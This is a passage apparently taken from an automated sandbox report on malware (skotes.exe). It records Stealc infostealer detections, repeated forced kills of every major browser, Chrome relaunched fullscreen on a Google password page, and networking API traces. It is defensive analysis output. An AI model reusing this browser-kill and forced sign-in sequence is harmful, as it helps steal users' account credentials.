Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	21:27:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	21:27:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	21:27:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	21:27:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	21:27:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	21:27:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	21:27:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	21:27:29
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe"
Imagebase:	0xb10000
File size:	1'821'184 bytes
MD5 hash:	9230158D2D15F5F7140B53912347A845
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002E.00000002.3014643048.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002E.00000002.3013609480.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002E.00000003.2972457560.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	21:27:30
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	21:27:30
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=2008,i,5070483553180137210,3664771771658724366,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	21:27:37
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe"
Imagebase:	0xa60000
File size:	919'040 bytes
MD5 hash:	45C675B6790E21EACDB1F3478FCADFDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	21:27:38
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	21:27:38
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	21:27:38
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	21:27:38
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	21:27:38
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	21:27:38
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	21:27:38
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	21:27:38
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	21:27:39
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	21:27:39
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	21:27:40
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	21:27:40
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1932,i,3992076036556009603,15202519978378107295,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	21:27:44
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	21:27:44
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	21:27:44
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	21:27:44
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a5670000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	21:27:45
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	21:27:45
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	21:27:45
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	21:27:45
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	21:27:45
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	21:27:45
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	21:27:45
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe"
Imagebase:	0xb10000
File size:	1'821'184 bytes
MD5 hash:	9230158D2D15F5F7140B53912347A845
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000048.00000002.3176320854.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000048.00000003.3136026898.00000000054A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	21:27:47
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	21:27:47
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,8412964653088469761,193010010935408969,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04A20CA1 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2088bb232849725ce822ea3ec1dce31cb0c735333dd2362280e36805cd8b2e9
Instruction ID: 040e795c645161cc9d74723e993ca22b7824c17a71f9d244ec80f72d5a68fa36
Opcode Fuzzy Hash: c2088bb232849725ce822ea3ec1dce31cb0c735333dd2362280e36805cd8b2e9
Instruction Fuzzy Hash: B2216DB764E270EE960285A997545F57F35EAC3330334857BE543C9403F2553A4AB271

Function 04A20C77 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71ed31e220938429081a8954a58bece6b271feb75887edf4c70343c29b8c1ba9
Instruction ID: e4233894d3f8bfa9ff9e9bcda78082b3093017b4601b07db8e5011625108f9d2
Opcode Fuzzy Hash: 71ed31e220938429081a8954a58bece6b271feb75887edf4c70343c29b8c1ba9
Instruction Fuzzy Hash: 311104F734E234FE2192958E1B189B97A3AE6C77303308436F60796602F2E57B587172

Function 04A20C84 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7695d3d2c755fe51514db9c437b8a5492d545755e553dd0e98ef61ab48969996
Instruction ID: 42a287e4a9416bfccb1cba884f6df9ab25d3d860de070c7e1d9613e45c7044ce
Opcode Fuzzy Hash: 7695d3d2c755fe51514db9c437b8a5492d545755e553dd0e98ef61ab48969996
Instruction Fuzzy Hash: 1701C4F734E134FE6152958D6B14AB9BA3AE6C77303308526F60395502F2E57B583172

Function 04A20C93 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11270d260ffe6f8a11ee47f7a0fc5084b1a2de6aabb89d39fc413890041a1e13
Instruction ID: ae772818268d71234ffcfd07c718e8c093b3bdcac6c0beb78a59175e5e999c54
Opcode Fuzzy Hash: 11270d260ffe6f8a11ee47f7a0fc5084b1a2de6aabb89d39fc413890041a1e13
Instruction Fuzzy Hash: BC01D2F734E134BE2152958D6B149BABA3EE6C77303308436FA03D5502F2E47A583171

Function 04A20CE8 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96f734f7bbeba6e7323172cb6f2abfeb7b5335399b25d38b5f65a7fb84621e8b
Instruction ID: 2449c468a5d679151456df2f86a23a48a5dc1c7c71692596b99cb027e66bbdfc
Opcode Fuzzy Hash: 96f734f7bbeba6e7323172cb6f2abfeb7b5335399b25d38b5f65a7fb84621e8b
Instruction Fuzzy Hash: 3601D2B724D120BF6192968967185B97A3AEAC73303308426F60385501F2E53B583131

Function 04A20D02 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 022ba2e4b18bb467eafe778b30a8f3dc4b6401c779f83f559a742e8335690bf5
Instruction ID: 4ca95791507ba3d2dd7ee15dcd3c4b7fb2bce21ebcb4859c7b29a01f1af0128e
Opcode Fuzzy Hash: 022ba2e4b18bb467eafe778b30a8f3dc4b6401c779f83f559a742e8335690bf5
Instruction Fuzzy Hash: 33F0C8B724E028FE654295896B249F9BB3EEAD7330331852AF90395501F3E53B5C7131

Function 04A20D33 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831ded94d0a8f2da27c90e4b31db1367ae28777d108deff9c64f0b10523cc7a0
Instruction ID: e4e976da94366f02dea866c4d7e3d4e57b2f446ed016246906bbca1ad7e662a3
Opcode Fuzzy Hash: 831ded94d0a8f2da27c90e4b31db1367ae28777d108deff9c64f0b10523cc7a0
Instruction Fuzzy Hash: 24F0F6B724E111BE65125285AB14ABABB3EF6D37303318426F44291002F3F42A597231

Function 04A20D22 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d4d8d42830d025b174d6170367b2ac2fc4572c4622705716427f93c3a94ce6a
Instruction ID: c1ebe08485808bb751d6eccb42e1d046f86c03021931a92765278d3c111f4a68
Opcode Fuzzy Hash: 2d4d8d42830d025b174d6170367b2ac2fc4572c4622705716427f93c3a94ce6a
Instruction Fuzzy Hash: A0F0E9F724D020BE2152A1896B249B9BA3EE6D37303718426F50395501F3D53B5C7131

Function 04A20D52 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4974ac7078c9a666ca4ebd3efbdf4f45752e05edb476da3cba2b283000b867de
Instruction ID: 045af1def543310badbe0b031c2fb74fab8e5cb5f6fc19798f9a3d2d4e9783ed
Opcode Fuzzy Hash: 4974ac7078c9a666ca4ebd3efbdf4f45752e05edb476da3cba2b283000b867de
Instruction Fuzzy Hash: F0F0E2F764D1287F6112A1C92728AFAAB7DE5D7B30371843AFC02E6102F2D56A186132

Function 04A20D6D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b241b6dffb4c5841bf976741caa7ede84766c28fa6f1a677394c6a4db9f402f2
Instruction ID: ae98eef8810b576e0d4231fba568764ed942c1ebe269db6eeecc24490b3a2726
Opcode Fuzzy Hash: b241b6dffb4c5841bf976741caa7ede84766c28fa6f1a677394c6a4db9f402f2
Instruction Fuzzy Hash: 9CF0A7F724D010BE715291856B14ABAB73DE5C3730370847AF442D2141F2E81A596131

Non-executed Functions

Function 04A202A0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2198657366.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232a76503e3ad96e7ca8ea0a8150777d70bd18d3950120d87c6321841aaa3b84
Instruction ID: 314670f2d037e28117ea206e12fdfa0b3b550644fd31934d480717c5a293522c
Opcode Fuzzy Hash: 232a76503e3ad96e7ca8ea0a8150777d70bd18d3950120d87c6321841aaa3b84
Instruction Fuzzy Hash: F6E086B760D2306E701291955B64AFB673FE5D67303314463FA02DF102F58469863571

Analysis Process: skotes.exePID: 4676, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	1296
Total number of Limit Nodes:	25

Executed Functions

Function 0058BE30 Relevance: 23.1, APIs: 5, Strings: 8, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 0058BEB8
InternetOpenW.WININET(005D8DC8,00000000,00000000,00000000,00000000), ref: 0058BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0058BEEC
HttpSendRequestA.WININET(?,00000000), ref: 0058BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0058C0A8
InternetCloseHandle.WININET(?), ref: 0058C187
InternetCloseHandle.WININET(?), ref: 0058C18F
InternetCloseHandle.WININET(?), ref: 0058C197

Strings

, xrefs: 0058D5D3
invalid stoi argument, xrefs: 0058E4F4
stoi argument out of range, xrefs: 0058E4EA
8HJUeIfzLo==, xrefs: 0058C3CB, 0058C623
RE1NXF==, xrefs: 0058BF0E
H, xrefs: 0058CB06, 0058CCE4
RmNn, xrefs: 0058D606
8HJUeMD Lq5=, xrefs: 0058C465

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$ConnectFileHttpOpenReadRequestSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$H$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range$
API String ID: 923214467-2988778562
Opcode ID: 4f1e9792dd02c552593734f0f30a4d00a093b0a432feb73a2559c97a299d6aa1
Instruction ID: 297b401db85c178e49ec20dc5be1aab72fe366e4fea714a3996fa720fd85e6b6
